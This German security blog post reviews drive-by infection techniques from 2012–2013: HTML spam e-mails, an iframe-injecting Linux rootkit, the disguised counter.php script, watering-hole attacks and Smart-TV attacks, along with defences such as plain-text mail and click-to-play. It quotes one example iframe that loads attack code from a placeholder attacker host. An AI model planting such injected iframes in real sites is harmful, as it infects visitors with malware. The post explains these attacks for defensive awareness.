Drive-by-Infektionen per E-Mail und mehr
Zum Abschluss des "Updates" zu Drive-by-Infektionen gibt es eine bunte Mischung von Informationen. Los geht es mit einem äußerst unschönen Angriff, bei dem die Drive-by-Infektion ungefragt ins Haus kommt:
Drive-by-E-Mails
Im Januar 2012 hat Frank Rickert im eleven-securityblog über einen neuen Angriff berichtet: Spam-E-Mails schleusen beim einfachen Ansehen Schadcode in die Rechner der Empfänger ein, ohne dass der Benutzer aktiv werden und zum Beispiel einen Anhang öffnen oder einen Link anklicken muss. Der vollautomatische Angriff wird über HTML-Mails erreicht, darin enthaltene JavaScript-Code zum Einschleusen von Schadcode wird beim Öffnen der E-Mail automatisch ausgeführt.
Der Schutz gegen diese Angriffe ist einfach: Sie müssen nur ihr Mail-Programm anweisen, keine HTML-Mails anzuzeigen (sofern es das nicht von Haus aus schon nicht tut). HTML ist in E-Mails normalerweise völlig überflüssig, die Mails seriöser Absender enthalten in der Regel auch einen Klartext-Teil. Wenn nicht, handelt es sich in den allermeisten Fällen um Werbung. Und zwar von Unternehmen, die kein Interesse daran haben, dass ihre Mail von allen Empfängern gelesen wird, denn sonst gäbe es ja einen Klartext-Teil.
Sie dürfen nach dem Ausschalten der HTML-Anzeige nur nicht den Fehler machen, den meist als Anhang beigefügten HTML-Teil der Mail zu öffnen, da dann der Schadcode (sofern vorhanden) aktiviert wird.
Drive-by-iframes über Linux-Rootkit
Im November 2012 wurde auf der Mailingliste Full-Disclosure ein Rootkit für 64-Bit-Linux veröffentlicht, das eine hier relevante Funktion hat: Es fügte in die vom Webserver ausgelieferten Seiten ein iframe ein, in dem Code für Drive-by-Infektionen geladen wurde:
<iframe src="http://angreifer.example/index.php"></iframe>
Marta Janus vom Kaspersky Lab hat eine Analyse des Rootkits veröffentlicht. Das Rootkit ist für den Kernel 2.6.32-5-amd64 maßgeschneidert, der zum Zeitpunkt der Veröffentlichung des Rootkits im 64-bit Debian Squeezy verwendet wurde.
Das Einschleusen des iframes erfolgt über eine manipulierte
Systemfunktion zum Senden von TCP-Pakete, tcp_sendmsg
. Den
einzubindenden Code holt sich das Rootkit von einem
Command&Control-Server, der Zugriff ist Passwortgeschützt und
Kaspersky konnte nicht darauf zugreifen.
Ein Rootkit ist jedenfalls mal ganz was anderes als die zuvor üblichen Angriffswege wie SQL-Injection-Massenhacks oder präparierte PHP-Skripte. Aber auch die PHP-Skripte sind weiterhin im Einsatz.
Ein Klassiker: counter.php
Vicente Diaz vom Kaspersky Lab hat im August 2013 über
counter.php
berichtet,
Das Skript ist nicht, wie es der Name nahe legen soll, ein Besucherzähler,
sondern dient dazu, Code für Drive-by-Infektionen in die betroffenen
Seiten einzuschleusen. Unter den eingesetzten Exploits befand sich auch
einer der 0-Day-Exploits aus 2013, die
Java-Schwachstelle CVE-2013-0422.
Die war schon damals aufgefallen, weil der Exploit in einer ganzen Reihe
von Exploit-Kits enthalten war.
Hier interessiert aber der Startpunkt der Drive-by-Infektionen,
counter.php
, und nicht die dann später verwendeten
Exploits. Wie ist das Skript in die betroffenen Webanwendungen
eingeschleust worden? Sehr wahrscheinlich über ausgespähte
FTP-Zugangsdaten. Entsprechende Spyware gibt es ja reichlich.
Da die Cyberkriminellen lediglich eine Zeile (einen iframe zum Laden von
counter.php
) in die vorhandenen Skripte einfügen und eine
zusätzliche Datei (counter.php
) auf dem Server speichern,
sind die Manipulationen lange unentdeckt geblieben. Was kein Wunder ist,
wenn man bedenkt, wie viele selten aktualisierte Webanwendungen es gibt.
Selbst wenn sich mal jemand den Code der Seiten ansieht, wird er nichts auf
Anhieb verdächtiges finden. Er sieht dann lediglich einen
Besucherzähler, den irgend wer irgend wann mal hinzugefügt hat.
Verdächtig wird der nur, wenn sich entweder jemand am getarnten Code
stört (der aber leider auch von normalen Entwicklern verwendet wird,
weil sie dem Irrtum unterliegen, so ihren Code geheim halten zu
können) oder weiß, dass der Zähler da nichts zu suchen hat.
Vicente Diaz hat in diesem Zusammenhang auf ein besonderes Problem hingewiesen: Oft scheinen sowohl Websitebetreiber als auch Hoster Meldungen über den Schadcode ignoriert zu haben. Was insbesondere angesichts der vielen möglicherweise infizierten "aufgegebenen" Websites gefährlich ist. Wobei ich da die Hoster in der Pflicht sehe: Auch wenn ein Betreiber sich nicht mehr um seine Website kümmert (oder gerade dann), sollte der Hoster auf Beschwerden reagieren und notfalls die Website offline nehmen, bis der Betreiber reagiert hat. Immerhin geht von diesen Websites eine reale Gefahr für alle Besucher aus, das sollte eine entsprechende Reaktion durch den Hoster rechtfertigen, wenn der Betreiber nicht reagiert.
Gezielte Drive-by-Angriffe
Ich habe es zwar schon des öfteren erwähnt, möchte aber hier noch einmal gezielt darauf hin weisen: Bereits seit einiger Zeit kommen Drive-by-Infektionen im Rahmen von gezielten Angriffen, den sogenannten "Wasserloch-Angriffen", zum Einsatz. Dabei werden Websites kompromittiert und für Drive-by-Infektionen präpariert, die von der bzw. den Zielperson(en) besucht werden. Einige Beispiele sind
- die Angriffe über die IE-0-Day-Schwachstelle im Dezember 2012,
- die Kompromittierung der Website der "Reporter ohne Grenzen" und ihre Präparierung mit einem Exploit für die schon oben erwähnte Java-0-Day-Schwachstelle CVE-2013-0422 im Januar 2013 (nachdem die 0-Day-Schwachstelle bereits behoben worden war),
- die Angriffe über die 0-Day-Schwachstelle im IE 8 Anfang Mai 2013, die gegen Angestellte der US-Regierung, die etwas mit Atomenergie oder Atomwaffen zu tun haben, gerichtet war,
- die Angriffe über php.net im Oktober 2013, die evtl. gegen PHP-Entwickler gerichtet waren und
- die Angriffe mit dem 0-Day-Exploit für den IE im November 2013.
Im Rahmen von "Wasserloch-Angriffen" kommen auch des öfteren 0-Day-Exploits erstmals zum Einsatz, was im Rahmen normaler Drive-by-Infektionen ja nur selten der Fall ist. Die Exploitkit-Entwickler sind zwar schnell darin, einen im Rahmen gezielter Angriffe genutzten 0-Day-Exploits nach dessen Bekanntwerden in die Exploitkits zu integrieren, selbst 0-Day-Exploits entwickeln tun sie sie aber normalerweise nicht. Was ja auch kein Wunder es, es sind ja Exploitkit-Entwickler und keine Exploit-Entwickler.
Drive-by-Angriffe auf Smart-TV
Das "Internet der Dinge" soll auch an dieser Stelle nicht unerwähnt bleiben: Auf der Black Hat USA 2013 haben Aaron Grattafiori und Josh Yavor Angriffe auf Smart-TV von Samsung vorgestellt: "The Outer Limits: Hacking the Samsung Smart TV" (ein Video der Präsentation gibt es auf YouTube). Unter anderem ist es möglich, im Rahmen eines Drive-by-Angriffs zum Beispiel Einstellungen des Geräts zu ändern oder auf die eingebaute Kamera zuzugreifen. Dazu muss der Benutzer nur mit dem Webbrowser des Smart-TV eine präparierte Seite ansurfen.
Und damit ist dann auch erst mal wieder Schluss mit Angriffen über Drive-by-Infektionen, Kommen wir noch kurz zu einer neuen Schutzmaßnahme:
"Click to Play" gegen Drive-by
Indem die Webbrowser für Plugins eine "Click to Play"-Funktion implementieren, legen sie vielen (aber nicht allen) Exploits für Drive-by-Infektionen eine nur schwer zu meisternde Hürde in den Weg: Java oder der Flash-Player werden durch Click-to-Play erst aktiv, wenn der Benutzer ihrem Start durch einen Klick zustimmt. Der JavaScript-Code zum Einschleusen der Exploits kann Java oder den Flash-Player also nicht mehr selbständig starten und muss auf Exploits für andere Komponenten oder Social-Engineering-Techniken ausweichen. Wobei letzteres dann schon den Rahmen von Drive-by-Infektionen verlässt.
Soviel zum Thema "Drive-by-Infektionen". In der nächsten Folge geht es dann mit aktuellen Entwicklungen zum Clickjacking weiter.
Trackbacks
Dipl.-Inform. Carsten Eilers am : Neues zur iOS-Sicherheit, bösartigen E-Mails und Überwachungsmöglichkeiten
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Eine neue 0-Day-Schwachstelle in MS Word ist auch über Outlook ausnutzbar
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 6.15 - Docker-Sicherheit - eine Bestandsaufnahme
Vorschau anzeigen